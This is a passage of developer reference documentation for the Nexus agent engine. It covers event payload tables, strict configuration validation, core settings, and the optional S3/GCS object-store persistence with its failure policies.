IDs | []string | Doc IDs to remove. Unknown IDs are ignored (input). |
Provider | string | Adapter plugin ID (output). |
Error | string | Non-empty on failure (output). |
VectorNamespaceDrop
| Field | Type | Description |
|---|---|---|
Namespace | string | Namespace to drop (input). |
Provider | string | Adapter plugin ID (output). |
Error | string | Non-empty on failure (output). |
RAG Events
| Event Type | Payload | Description |
|---|---|---|
rag.ingest | *RAGIngest | Ingest one file. Pointer-fill. |
rag.ingest.delete | *RAGIngestDelete | Drop a file’s chunks. Pointer-fill. |
rag.ingest.result | *RAGIngest | Notification emitted after rag.ingest completes (read-only). |
memory.vector.store | *VectorMemoryStore | Explicit store into vector memory. Pointer-fill. |
Payloads
RAGIngest
| Field | Type | Description |
|---|---|---|
Path | string | File path (input). |
Namespace | string | Target namespace (input). |
Metadata | map[string]string | Optional metadata merged into every chunk (input). |
Provider | string | Ingest plugin ID (output). |
Chunks | int | Number of chunks upserted (output). |
SkippedCached | int | How many of those came from the embedding cache (output). |
Error | string | Non-empty on failure (output). |
RAGIngestDelete
| Field | Type | Description |
|---|---|---|
Path | string | File path (input). |
Namespace | string | Target namespace (input). |
Provider | string | Ingest plugin ID (output). |
Deleted | int | Reserved; currently always zero (output). |
Error | string | Non-empty on failure (output). |
VectorMemoryStore
| Field | Type | Description |
|---|---|---|
Content | string | Content to store (input). |
Source | string | Short label recorded as metadata (e.g. user, agent, compaction) (input). |
Metadata | map[string]string | Extra metadata merged into the stored doc (input). |
Provider | string | Plugin ID of the memory.vector plugin (output). |
Error | string | Non-empty on failure (output). |
Delegate Events
Emitted by nexus.agent.delegate when a parent agent invokes a posture via
the delegate tool. Payloads are map[string]any records — see
pkg/delegate.Runtime for the canonical fields.
| Event Type | Payload | Description |
|---|---|---|
delegate.start | map | Sub-session is starting. Keys: sub_session_id, posture, posture_ver, task, parent_turn, depth. |
delegate.complete | map | Sub-session finished. Keys: sub_session_id, posture, posture_ver, status (success/partial/error/timeout/cancelled/cache_hit), error, tokens_used, tool_calls_used, elapsed_ms, result, depth. |
Posture Events
Emitted by nexus.agent.postures as posture YAML loads or changes.
| Event Type | Payload | Description |
|---|---|---|
posture.registered | map | A posture was installed or updated. Keys: name, version, source (file path or scan dir). |
posture.removed | map | A posture was removed (file deleted / load error). Keys: name. |
Scene Events
Emitted by nexus.scene on every mutation. agent_id on the payload comes
from Event.Causation.AgentID — sub-agent contributions remain attributable
in the journal.
| Event Type | Payload | Description |
|---|---|---|
scene.created | map | New Scene created. Keys: session_id, scene_id, schema, version, agent_id, content (initial content). |
scene.patched | map | Scene content updated. Keys: session_id, scene_id, version, agent_id, content (full post-merge content). |
scene.deleted | map | Scene removed. Keys: session_id, scene_id, agent_id. |
Tool Stream Events
Emitted by pkg/streamtool.Bridge while a ChannelTool runs. Consumers
that only need the final value still subscribe to tool.result; UIs and
observability collectors that want incremental progress subscribe here.
| Event Type | Payload | Description |
|---|---|---|
tool.stream.progress | map | Status-only update from a streaming tool. Keys: tool_name, tool_id, turn_id, sequence, progress (0.0–1.0 or -1), payload. |
tool.stream.partial | map | Incremental data the consumer can render now. Keys: tool_name, tool_id, turn_id, sequence, payload. |
Thinking Events
| Event Type | Payload | Description |
|---|---|---|
thinking.step | ThinkingStep | Agent reasoning step |
ThinkingStep
| Field | Type | Description |
|---|---|---|
TurnID | string | Associated turn |
Source | string | Plugin that generated this |
Content | string | Thinking content |
Phase | string | "planning", "executing", "reasoning" |
Timestamp | time.Time | When this occurred |
ICM Workflow Events
Emitted by nexus.workflows.icm on top of the generic plan.created /
plan.progress surface. Every payload carries a _schema_version field
(constants in plugins/workflows/icm/icmtypes/types.go).
| Event Type | Payload | Description |
|---|---|---|
icm.run.started | ICMRunStarted | Workspace loaded; run created; before stage 1 dispatches. |
icm.run.completed | ICMRunCompleted | All stages finished without halt. |
icm.run.halted | ICMRunHalted | Stage error policy halted, gate rejected, or run context cancelled. |
icm.stage.started | ICMStageStarted | Stage execution begins, before any human_gate: start. |
icm.stage.completed | ICMStageCompleted | Artifact written; any end gate resolved. |
icm.stage.failed | ICMStageFailed | Stage halted (dispatch error, rejected gate, or loop.on_exhausted: error). |
icm.stage.iteration | ICMStageIteration | One per loop iteration, immediately before the iteration’s invocation. |
icm.turn | ICMTurn | After each turn within an invocation (richer-UI feed; basic UIs already see plan.progress). |
icm.fanout.item | ICMFanoutItem | Item lifecycle boundary in a fan-out stage (active → completed | failed). |
icm.predicate.failed | ICMPredicateFailed | Any predicate evaluation returns verdict=false. Pass paths are not emitted. |
ICMRunStarted
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier (r_<id>); also the on-disk dir under the plugin’s session data dir. |
InstanceID | string | Plugin instance ID (nexus.workflows.icm or nexus.workflows.icm/<suffix>). |
WorkspaceRoot | string | Absolute path to the loaded workspace. |
WorkspaceName | string | Last folder name of the workspace path. |
Stages | int | Stage count. |
ICMRunCompleted
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StagesRun | int | Number of stages that completed. |
AggregatePath | string | Optional run aggregate path (set when a top-level aggregate is produced). |
ElapsedSeconds | int64 | Wall-clock seconds from icm.run.started. |
ICMRunHalted
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
Reason | string | Free-text halt reason. |
HaltedAtStage | string | Stage ID where the halt fired (empty for pre-stage halts). |
Cancelled | bool | true when the halt was a context cancellation rather than a gate reject. |
ElapsedSeconds | int64 | Wall-clock seconds from icm.run.started. |
ICMStageStarted
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name (e.g. 02_brief). |
PostureName | string | Derived posture name registered for this stage (icm.<runID>.<stage_id>). |
Order | int | 1-based stage order in the workspace. |
ICMStageCompleted
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name. |
ArtifactPath | string | Path to the final artifact. |
IterationsRun | int | Loop iterations executed (0 for non-looping stages). |
ConvergenceFailed | bool | true when the loop exhausted without satisfying until. |
ICMStageFailed
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name. |
Reason | string | Free-text failure reason. |
ICMStageIteration
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name. |
ItemID | string | Fan-out item ID (empty for non-fan-out stages). |
Iteration | int | 1-based iteration index. |
MaxIterations | int | loop.max_iterations. |
ExitFailures | []ConditionResult | Previous iteration’s failing until predicates (empty on iteration 1). |
ICMTurn
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name. |
ItemID | string | Fan-out item ID (empty for non-fan-out stages). |
Iteration | int | Loop iteration index (0 for non-looping stages). |
Turn | int | 1-based turn index. |
MaxTurns | int | turns.max. |
LastFailures | []ConditionResult | Previous turn’s failing validators (drives until_valid retry). |
ICMFanoutItem
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name. |
ItemID | string | Per-item ID (from fan_out.item_id gojq or fallback index). |
Index | int | 1-based item index. |
Total | int | Total items in the fan-out. |
Status | string | "active" | "completed" | "failed". |
Error | string | Failure reason when Status="failed". |
ICMPredicateFailed
| Field | Type | Description |
|---|---|---|
RunID | string | Run identifier. |
StageID | string | Stage folder name. |
ItemID | string | Fan-out item ID (empty for non-fan-out stages). |
Container | string | "output.validators" | "loop.until" | "verifier". |
PredicateName | string | Predicate name: (or <type>_<index> fallback). |
PredicateType | string | "schema" | "regex" | "native" | "command" | "llm" | "human". |
Feedback | string | Predicate-supplied failure feedback. |
ConditionResult (shared by ICMStageIteration.ExitFailures and ICMTurn.LastFailures)
| Field | Type | Description |
|---|---|---|
Type | string | Predicate type. |
Name | string | Predicate name. |
Verdict | string | "pass" | "fail". |
Feedback | string | Predicate-supplied feedback. |
Score | *float64 | Optional numeric score (LLM judges typically populate this). |
Configuration Reference
Authoritative reference for every YAML configuration key recognized by the Nexus
engine and its plugins. Tables are derived from each plugin’s Init() (and any
parser helpers it calls) — not from prose docs. If you change a config key in
source, update this page in the same commit.
Maintenance rule. Any addition, removal, rename, default change, or type change to a configuration key — at the engine level or in any plugin — must be reflected in this file. Per-plugin pages may add narrative, but this page is the single source of truth.
Conventions
- Type column uses YAML-native names (
string,int,bool,float,duration,list,map).durationis parsed by Go’stime.ParseDuration(e.g.30s,1m,5m). - Default column shows the value used when the key is absent.
*(none)*means no value is set;*(required)*means the plugin will fail to start without it;*(env)*means the value is read from an environment variable. - Path expansion. Every filesystem path supplied via configuration —
engine
sessions.root, pluginpath,dir,file,cache_dir,scan_paths,system_prompt_file,schema_file,patterns_file,word_files,base_dir,working_dir,path_dirs, ingestwatch[].path, etc. — is funneled throughengine.ExpandPath. Bare~resolves to the user’s home directory;~/fooresolves to<home>/foo. Relative paths are resolved against the engine’s working directory and not modified.
Validation
Configuration is validated strictly at boot, after YAML loading and before
any plugin’s Init() runs. The engine compiles the top-level schema plus every
active plugin’s schema (when the plugin advertises one) and validates each
config block against it. Validation errors abort boot — they are aggregated
across every plugin so a single boot attempt surfaces every issue at once,
sorted, with the offending key path on each line:
config validation failed:
- plugins.nexus.gate.token_budget.warning_threshold: unknown key "warning_threshold"
- plugins.nexus.tool.web.timeoutt: unknown key "timeoutt" (did you mean "timeout"?)
2 errors; aborting boot
Unknown keys fail boot. Plugin schemas declare additionalProperties: false
at every object level, so a typo in a key name is a hard error rather than a
silently-ignored value. The validator emits a “did you mean” suggestion when a
close match exists in the schema’s declared keys (Levenshtein distance ≤ 3 and
strictly less than half the candidate’s length). This guarantees that the only
keys you can write in YAML are the ones the engine actually reads — silent
typos are not possible for plugins that ship a schema.
Deprecated keys log a warning but do not fail boot. Schemas mark these with
deprecated: true. Move off the key when convenient; deprecation warnings are
the engine’s signal that a future minor release may delete the shim.
Plugins without a schema (legacy or third-party) are skipped with a debug
log. They are not blocked from booting.
The engine’s own blocks are guarded separately, and by a different mechanism.
core, engine, capabilities, plugins.active and journal have their
values checked by the engine schema, but unknown key names there could not be
caught that way: LoadConfigFromBytes is a non-strict YAML decode, and the
validator rebuilds those blocks from the already-decoded typed config, so a key
YAML dropped never reached the schema at all. A misspelled block therefore used to
boot clean with the feature it configured silently switched off — which is at its
worst with core.object_store, where the run looks entirely healthy and simply
never persists anything.
checkUnknownConfigKeys now walks the raw YAML against the config structs’ yaml
tags before anything else and rejects an unknown key at any depth, naming the path
and listing what was valid there:
config: unknown key "core.object_stor" (valid keys here: agent_id, log_level,
logging, max_concurrent_events, models, object_store, sessions, storage,
tick_interval)
Every unknown key in a file is reported in one message, so a bad config is fixed in one pass rather than one boot per typo.
Three blocks are exempt because their keys are data rather than field names, and each is guarded elsewhere or not at all by design:
| Block | Why it is exempt |
|---|---|
plugins: | Keys are plugin IDs. The blocks beneath them are guarded by the plugin schemas described above. |
core.models | Keys are role names you choose. Parsed out of the raw map by hand — it carries no struct tag to discover. |
capabilities: | Keys are capability names. |
The check is derived from the structs by reflection rather than from a hand-maintained list, so adding a config field needs no corresponding edit — and there is no second list to drift into rejecting a legitimate new key.
Schema authoring
Plugins expose their schema by implementing the optional
engine.ConfigSchemaProvider interface (defined in
pkg/engine/config_validation.go). Conventions:
- The schema lives at
plugins/<id>/schema.jsonand is//go:embed-ed by a smallschema.goin the same package; the plugin’sConfigSchema()method returns the embedded bytes. - Schemas declare
"$schema": "https://json-schema.org/draft/2020-12/schema"and must set"additionalProperties": falseon every object level so unknown keys are caught. - Mark deprecated keys with
"deprecated": true(a sibling oftype,description, etc.). The validator walks the schema once and warns when a deprecated key is present in the user’s config. - The schema is canonical for the plugin’s config map — what
Init()actually reads. Schema drift from real consumption is a bug; the smoke test inpkg/engine/configs_smoke_test.govalidates every shipped YAML against every active plugin’s schema and is the canary for that drift.
Top-level structure
core: # engine-level settings
engine: # engine resilience knobs (shutdown drain, ...)
capabilities: # capability → plugin-ID pinning (optional)
journal: # durable per-session event log (always on; tunables only)
plugins:
active: [] # plugin IDs (with optional /instance suffix)
<plugin.id>: # per-plugin config map
key: value
| Key | Type | Default | Description |
|---|---|---|---|
core | map | (see core section) | Engine-level settings (logging, sessions, models). |
engine | map | (see engine section) | Engine resilience knobs (shutdown drain budget). |
capabilities | map | (empty) | Pin capability names to specific provider plugin IDs (e.g. search.provider: nexus.search.brave). Overrides default resolution (first active provider). |
journal | map | (see journal section) | Tuning knobs for the always-on event journal. The journal cannot be disabled. |
plugins.active | list | [] | Plugin IDs to activate. Order doesn’t matter — Requires() and Dependencies() are resolved automatically. Multi-instance plugins use a slash suffix: nexus.agent.subagent/researcher. |
plugins.<id> | map | (none) | Per-plugin configuration. Keys other than active are treated as plugin IDs. |
Core engine
core
| Key | Type | Default | Description |
|---|---|---|---|
log_level | string | info | Global log level: debug, info, warn, error. |
tick_interval | duration | 1s | Interval for the internal core.tick heartbeat. |
max_concurrent_events | int | 100 | Maximum concurrent event handlers across the bus. |
logging.bootstrap_stderr | bool | false | Register a stderr sink at engine construction so pre-sink slog records appear on the terminal. Rejected at validation time when any of nexus.io.tui, nexus.io.browser, nexus.io.wails is active. |
logging.buffer_size | int | DefaultLogRingSize | Capacity of the log/event ring buffers. Values <= 0 use the default. |
sessions.root | string | ~/.nexus/sessions | Base directory for session workspaces. |
sessions.retention | string | 30d | Retention policy for old sessions. |
sessions.id_format | string | timestamp | Session ID format: timestamp, datetime_short. |
agent_id | string | (empty) | Partitions per-agent storage and other per-agent state. Set by multi-agent embedders (the desktop shell). Empty in CLI / single-agent embedders, which collapses agent-scope storage to app-scope. |
storage.root | string | ~/.nexus | Data root for app- and agent-scope per-plugin storage. App-scope .db files land at <root>/plugins/<pluginID>/store.db; agent-scope at <root>/agents/<agent_id>/plugins/<pluginID>/store.db. |
storage.busy_timeout_ms | int | 5000 | SQLite busy_timeout PRAGMA per handle (milliseconds). |
storage.cache_size_kb | int | 2048 | SQLite cache_size PRAGMA per handle (negative-form, in KiB). |
storage.pool_max_idle | int | 2 | *sql.DB.SetMaxIdleConns per handle. |
storage.pool_max_open | int | 4 | *sql.DB.SetMaxOpenConns per handle. |
object_store.backend | string | (empty) | Name of a registered object-store backend. Empty (the default) disables object storage entirely and no object-store code runs. An unregistered name fails the boot. See core.object_store below. |
object_store.bucket | string | (required if backend set) | Bucket / container the backend writes to. Nexus never creates it. |
object_store.prefix | string | (empty) | Object key prefix within the bucket, so several deployments can share one bucket. An object key, not a filesystem path: no ~ expansion, and a leading or trailing / is rejected. |
object_store.region | string | (empty) | Backend region, where the backend needs one. Required by s3 against real AWS; accepted and ignored by gcs, where a bucket’s location is a property of the bucket. |
object_store.endpoint | string | (empty) | Overrides the default service endpoint. This is what makes S3-compatible stores (MinIO, R2, Ceph) and local emulators reachable. Each backend documents exactly what it means: for s3 it also selects path-style addressing, for gcs it is an emulator switch that also turns authentication off when no credentials are available. |
object_store.credentials_file | string | (empty) | Path to a static credentials file. Empty means ambient credentials — workload identity, instance role, environment — which is the preferred production path. Expanded through engine.ExpandPath. |
object_store.failure_policy | string | degrade | What happens when state cannot be persisted. degrade (the default) keeps the session running against the local working copy and retries in the background; strict additionally refuses further input until the state is stored. Both retry with backoff and both recover on their own. Any other value fails the boot. See Failure policy below. |
models | map | (empty) | Model role registry — see core.models below. |
core.object_store
Optional. Makes a remote object store the source of truth for everything Nexus
persists between runs, for deployments with no durable local disk. The block
sits on core rather than under core.sessions because it is not
session-only: the same backend carries the session tree, app- and agent-scope
per-plugin storage, and eval run output — see
Beyond the session tree below. Local disk remains
the working copy during a run: core and every plugin keep reading and writing
ordinary files, and the engine talks to the store only at lifecycle points.
Absent this block — the default — behaviour is byte-identical to a build with
no object-store support and no object-store code executes.
Backends are selected by name, in the database/sql driver style. A backend
ships as its own Go module so the main module’s dependency list is untouched;
an embedder adds it to their build with a blank import and names it in config:
import _ "github.com/frankbardon/nexus/modules/objectstore-s3"
core:
object_store:
backend: s3
bucket: nexus-sessions
prefix: prod/nexus
region: us-east-1
failure_policy: degrade
No core change is needed to add a backend, and a third party can implement the
pkg/engine/objectstore.Backend seam in their own repository.
Object Storage is the adoption guide: wiring a backend into your own binary end to end, credential setup for each shipped backend, and the full list of what this feature deliberately does not do — starting with the fact that single-writer per session is assumed and not enforced. This page stays canonical for the keys themselves.
Validation is at load, not at first write. The whole block is checked while the YAML is parsed, so a typo, a missing bucket or a backend whose module was never imported fails the boot with the offending key in the message — rather than surfacing an hour into a session as a silently missing artifact. In particular, naming a backend whose module is not in the build reports that no backend module is imported.
Setting any key in the block while leaving backend empty is also an error:
that combination is always a mistake, and silently ignoring it would leave the
operator believing storage was configured.
Lifecycle. With a backend configured, the engine:
- Opens the backend at the top of
Boot, before anything touches the session tree. - Hydrates eagerly and whole-tree when resuming a session (
-recall, or an embedder settingRecallSessionID), under the object key prefixsessions/<session id>beneathbucket+prefix. Hydration completes before the workspace is opened and before the first turn runs, so every subsequent read behaves exactly as it would on a host that never left — there is no lazy or faulting read path. - Claims an owner marker at
sessions/<session id>.owner/owner.jsonrecording host, PID, a per-run instance ID and a heartbeat refreshed every 30 seconds, and reads whatever marker was already there. A second host that still looks like the holder is logged at error level and raised assession.owner.conflict. Detection only — nothing is refused, no lock is taken and nothing waits. A cleanStopremoves the marker. - Snapshots the whole session tree at every turn boundary — on
agent.turn.end, and on demand viasession.snapshot.request— and again at shutdown. A hard kill therefore loses at most the in-flight turn. - Flushes and releases the backend at the end of
Stop, after plugins, the journal and per-plugin SQLite have all closed.
Behaviour worth knowing:
-
The snapshot is synchronous. It blocks the goroutine that ended the turn until the upload is durable, because a turn reported complete while its state is still in flight is exactly the guarantee the snapshot exists to provide. The cost is
O(tree size)per turn and is logged on every snapshot —objects,bytes,db_bytesandduration— and published assession.snapshot.result. -
failure_policygoverns a failed snapshot — see Failure policy below for exactly what each value guarantees. Either waysession.snapshot.resultcarriesok: false. -
An unknown session ID is not an error. Recalling an ID the store has never seen produces a valid, empty session, identical to one created locally.
-
A tree already on local disk wins. It is the live working copy, so hydration is skipped rather than overwriting it with a possibly older remote copy.
-
A hydration that fails partway fails the boot — under both failure policies. Hydration lands in a staging directory and is committed with an atomic rename, so a partial tree is discarded and never mistaken for a complete session.
degrademeans “keep running against the local copy”, and at hydrate time there is no local copy. -
session.locknever crosses the seam. It records the PID of the process that owns the session on one machine; round-tripping it through the store would make every resumed session look locked. It is stripped from anything hydrated and is never uploaded. -
SQLite sidecars never cross the seam either.
store.db-wal,store.db-shmandstore.db-journaldescribe a machine, not a session. Eachstore.dbis WAL-checkpointed and snapshotted as a standalone file at the turn boundary, so the uploaded database restores with no sidecars beside it. -
A failed or partial snapshot never replaces the previous good copy. A per-object manifest at
sessions/<session id>.manifest/manifest.jsonand then a commit marker atsessions/<session id>.snapshot.json— both siblings of the tree, not members of it — are written only after every other object is durable, so they always describe the last snapshot that completed. A snapshot only ever adds and overwrites; it never deletes. -
Hydration restores exactly the committed generation. The manifest lists the object set of the generation the marker names, and objects in the bucket that it does not name are not materialised into the session tree. They are left in the bucket, never deleted — reclamation is the operator’s. A bucket with no manifest (written by an older build, or by a session that has never completed a snapshot) hydrates whole, exactly as before. Content- addressed blobs are the one thing never pruned, because the local blob store sweeps under an LRU budget while the bucket does not, so a blob a committed history references can legitimately outlive the manifest that named it. See Sessions → The generation stamp and the per-object manifest.
-
Two hosts opening one session is detected, never prevented. The owner marker is a diagnostic, not a lease: no fencing token, no expiry the engine waits on, no refusal. A marker is treated as stale — and stays silent — when it belongs to this run, when its host matches and its PID is gone, or when its heartbeat stopped advancing more than 5 minutes ago, so an ordinary resume after a crash does not alarm. Both thresholds are constants rather than config keys. See Sessions → Two hosts, one session.
-
The local working copy is not wiped on clean exit. On ephemeral compute the filesystem disappears with the process anyway; on a durable host the local tree is a warm cache and the copy
failure_policy: degradefalls back to.core.sessions.retentionremains the operator-owned answer to when local session data goes away.
Failure policy
core.object_store.failure_policy is the one durability trade-off the operator
owns rather than the implementation. Both values retry, both surface the outage
on the bus, and both recover with no operator action — what differs is
whether the session keeps taking turns while the store is unreachable.
degrade (default) | strict | |
|---|---|---|
| Turn that hit the outage | completes | completes — it is not un-run |
| Further turns | accepted | refused until the state is stored |
| Bus | session.storage.degraded, then session.storage.recovered | same, with turns_blocked: true |
core.error | not raised | raised on every failed snapshot |
| Recovery | automatic | automatic |
| Boot-time hydration failure | fails the boot | fails the boot |
What strict guarantees, and what it does not. When a turn’s state cannot
be persisted, the turn has already happened: its output was streamed to the
user, its tools ran, and its side effects are in the world. Nothing in Nexus can
un-run it, and no configuration makes it not have happened. What strict does
is refuse to start another one:
- the failure is raised immediately —
core.error, an error-level log line, andsession.snapshot.resultwithok: false; session.storage.degradedgoes out withturns_blocked: true;- every subsequent
io.inputis vetoed until a snapshot succeeds, with the reason carrying the last error. The veto runs at priority 200, behind every otherbefore:io.inputsubscriber, so slash commands and cancellation still work while the gate is closed; - the first successful snapshot clears the gate, emits
session.storage.recoveredand the session carries on.
So strict guarantees that no turn ever runs against state whose predecessor
was not durably stored, and the divergence is never silent. It does not
guarantee that the turn which hit the outage was prevented. A genuine
pre-commit gate would need a vetoable turn-boundary event that does not exist,
and would not help even if it did — by the time an agent loop can report a turn,
the work is done.
What degrade costs. Turns keep succeeding against the local working copy,
and that is the point — an object-store outage should not take down an
interactive agent that still has a perfectly good local tree. The honest caveat:
during a long outage the durability guarantee is not being met even though
nothing is failing. Work the user watched happen exists only on local disk, so
a host that dies while degraded loses it. That is the trade being chosen.
Retry and the queue bound. A single background worker per run retries with exponential backoff — 1 s, doubling, capped at 60 s — until the state lands. It handles two kinds of work:
- a bounded queue of deferred pushes, capacity 256 objects, fed by blob write-through failures;
- a pending whole-tree snapshot flag, the backstop, set by a failed snapshot, a failed flush, or a queue overflow.
Overflow does not lose work. A push that does not fit in the queue is
discarded and the whole-tree snapshot is marked pending in its place. That
snapshot re-uploads every object the store does not already hold at the right
size, so the escalation is strictly stronger than the item it replaced —
coarser, and paid in bandwidth rather than durability. The same is true of the
blob write-through queue (also 256), whose own overflow escalates the same way.
Both bounds, the backoff schedule and the per-request timeouts are compiled-in
constants rather than config keys: every knob has to be documented, validated
and supported forever, and an operator who wants to tune them is really asking
for a different failure_policy.
Recovery needs nobody. An outage that heals mid-session drains on its own —
either the next turn-boundary snapshot closes the episode, or, on an idle
session where no further turn is coming, the retry worker does. The two events
always pair: exactly one session.storage.degraded per outage and one
session.storage.recovered when it ends, so a subscriber counts outages rather
than failed requests.
One thing is deliberately not policy-governed. A blob write-through failure
never closes the strict gate. Write-through is an optimisation in front of the
turn-boundary snapshot, which re-uploads anything the store is missing; failing
a turn because that optimisation stumbled on an object the very next snapshot
repairs would make strict fire on transients it is not there to catch. Such a
failure still queues for retry and still counts towards the degraded state.
Beyond the session tree
The session tree is one of four roots. With a backend configured, the same
objectstore.Backend — no per-root methods, no per-root config — also carries:
| Root | Local path | Object key |
|---|---|---|
| Session tree | <core.sessions.root>/<id>/ | sessions/<id>/… |
| App-scope plugin storage | <core.storage.root>/plugins/<pluginID>/store.db | plugins/<pluginID>/store.db |
| Agent-scope plugin storage | <core.storage.root>/agents/<agent_id>/plugins/<pluginID>/store.db | agents/<agent_id>/plugins/<pluginID>/store.db |
| Eval run output | <eval.reports_dir>/<run-id>/ | eval/<run-id>/… |
Keys mirror the on-disk layout beneath the data root, one key segment per
directory, so an operator browsing the bucket sees the directory names they
already know. core.storage.root (default ~/.nexus) remains the single lever
controlling where these live locally, exactly as it does with no backend
configured.
- Cross-session lifetimes are preserved. An app-scope store keys to
plugins/<pluginID>/store.dbwith no session ID anywhere in it, which is what keeps it machine-wide.nexus.gate.token_budgetstores a tenant token ceiling there precisely so it spans sessions; keying it under the session that happened to flush it would turn that into a per-session ceiling with nothing to notice — the gate would keep running and stop being a budget. - Agent scope follows the same collapse the storage manager applies. With
core.agent_idempty, agent-scope handles resolve to app scope, and so do their keys.nexus.vectorstore.sqlite_fts(scope: agent) relies on this. - Shared stores hydrate per plugin directory, and never over a local one. A
plugin directory that already exists locally is left alone: it may be open in
this process or another one on the same machine, and replacing a
store.dbunder a live SQLite handle corrupts it rather than merely staling it. A plugin directory with no local copy is hydrated at boot, before any plugin can open a handle. - They are snapshotted at the same turn boundary, with the same
checkpoint-then-
VACUUM INTOdiscipline, and are logged separately asshared_objects/shared_bytes/shared_db_durationso a large agent-scope index is distinguishable from a large session. - One writing host at a time. App- and agent-scope stores are shared across sessions by definition. Two processes on one host share the local file and SQLite serialises them, so the later upload is a superset of the earlier — safe. Two processes on different hosts each have their own copy, and the later flush overwrites the other’s at whole-database granularity. See Per-Plugin Storage → Concurrency.
- Eval output is published once, at the end of the run.
nexus eval runuploads its run directory undereval/<run-id>/when the config file it was given (--config) names a backend. The per-case session trees under_sessions/are excluded — they are session trees, and sessions are the seam’s other root. A publish failure warns and does not change the eval exit code, which is about the cases, not about the bucket. - Journal output is already covered by the session snapshot: the journal
lives at
<session>/journal/and is captured at a consistent instant on every turn boundary.
The s3 backend
Shipped in-repo as its own Go module — github.com/frankbardon/nexus/modules/objectstore-s3,
under modules/objectstore-s3/. It is not part of bin/nexus: the AWS SDK it
depends on is exactly the kind of dependency the root module refuses to carry,
so an embedder who wants it blank-imports it into their own main. See
Repository Go Modules.
It covers Amazon S3 and every S3-compatible store: MinIO, Cloudflare R2, Ceph RGW and Backblaze B2.
It adds no config keys of its own. Everything it needs is already in the
core.object_store block above; what follows is how this backend reads each
key.
| Key | How the s3 backend uses it |
|---|---|
backend | s3 |
bucket | The bucket. Never created — it must exist, and the credentials must be able to read, write, delete and list it. |
prefix | Prepended to every object key. Matched back on segment boundaries, so a bucket shared between a prod/nexus and a prod/nexus-staging deployment keeps them apart. |
region | Signed into every request. Required against real AWS; with endpoint set it defaults to us-east-1, which every S3-compatible store accepts and none of them interprets. |
endpoint | An absolute http:// or https:// URL. Setting it also switches the client to path-style addressing (https://host/bucket/key), which is what makes MinIO, Ceph and Backblaze work unmodified — virtual-host addressing needs wildcard DNS and a wildcard certificate that a self-hosted store does not have. There is no separate path-style key, and none is needed: real AWS, which prefers virtual-host addressing, is the case where no endpoint is set. |
credentials_file | An ordinary AWS INI credentials file ([default], aws_access_key_id, aws_secret_access_key, optional aws_session_token), so the same file works with the AWS CLI and can be mounted as a Kubernetes secret unchanged. AWS_PROFILE selects the profile. Empty is the production path, and means the SDK’s default credential chain: environment variables, the shared config and credentials files, IRSA / EKS Pod Identity, ECS task roles, and the EC2 instance role via IMDSv2 — with expiry-aware refresh. Nexus neither reorders nor narrows that chain. |
failure_policy | Interpreted by the engine, not by the backend. |
# Amazon S3 with a workload identity — no key material anywhere.
core:
object_store:
backend: s3
bucket: nexus-sessions
prefix: prod/nexus
region: eu-west-2
# MinIO on a laptop, or any S3-compatible store.
core:
object_store:
backend: s3
bucket: nexus
endpoint: http://127.0.0.1:9000
credentials_file: ~/.config/nexus/minio-credentials
Boot-time validation. A malformed endpoint, a credentials_file that is not
there, and an unresolvable region all fail the boot naming the key. Nothing
remote is checked: failure_policy: degrade exists so an object-store outage
degrades a run rather than ending it, and a boot-time round trip to the bucket
would make it structurally unable to do that.
Object keys mirror the local tree, one key segment per directory, under
prefix. Nothing is encoded, hashed or flattened, so the bucket is browsable —
<prefix>/sessions/<id>/plugins/nexus.scene/scene.jsonl is exactly the path it
came from. Empty files are stored as zero-byte objects and restored as empty
files; this backend never writes a zero-byte directory marker, so there is
nothing to confuse them with.
One object at a time, synchronously. Put returns only once S3 has
acknowledged the write, so there is no in-backend queue with a second retry
regime underneath the engine’s own — retry, backoff and failure_policy stay in
one place. A single PutObject caps one object at 5 GiB; no session artifact
Nexus produces approaches that.
The gcs backend
Shipped in-repo as its own Go module — github.com/frankbardon/nexus/modules/objectstore-gcs,
under modules/objectstore-gcs/. Like the s3 backend it is not part of
bin/nexus: the Google Cloud SDK it depends on is exactly the kind of
dependency the root module refuses to carry, so an embedder who wants it
blank-imports it into their own main. See
Repository Go Modules.
import _ "github.com/frankbardon/nexus/modules/objectstore-gcs"
It covers Google Cloud Storage, and — through endpoint — the Cloud Storage
emulators.
It adds no config keys of its own. Everything it needs is already in the
core.object_store block above; what follows is how this backend reads each
key, and the two keys it reads differently from s3 are called out because a
config copied between the two clouds will contain them.
| Key | How the gcs backend uses it |
|---|---|
backend | gcs |
bucket | The bucket. Never created — it must exist, and the principal needs storage.objects.get, create, delete and list on it (the roles/storage.objectAdmin role covers exactly those). No project ID is needed anywhere: a project is required to create or list buckets, and this backend does neither. |
prefix | Prepended to every object key. Matched back on segment boundaries, so a bucket shared between a prod/nexus and a prod/nexus-staging deployment keeps them apart. |
region | Accepted and ignored, with a warning logged once at boot. A GCS bucket’s location is chosen when the bucket is created and no client ever names one, so there is nothing to apply the value to. It is not an error, because the same core.object_store block is shared with s3 — where the region is signed into every request — and a config that travels between the two should not fail to boot over a key that cannot change behaviour here. |
endpoint | An absolute http:// or https:// URL naming a host, e.g. http://127.0.0.1:4443. The Cloud Storage JSON API path (/storage/v1/) is appended for you when the URL has none, so the key is spelled the same way for both backends; a URL that already carries a path is left alone, for an emulator behind a reverse proxy on a sub-path. Unlike s3, this is an emulator switch, not a way to reach an alternative provider: GCS has one production service, reached by leaving endpoint empty, and a VPC using Private Google Access or Private Service Connect gets there by DNS and routing policy rather than by a client-side override. Setting it also turns authentication off when no credentials are available — see credentials_file. |
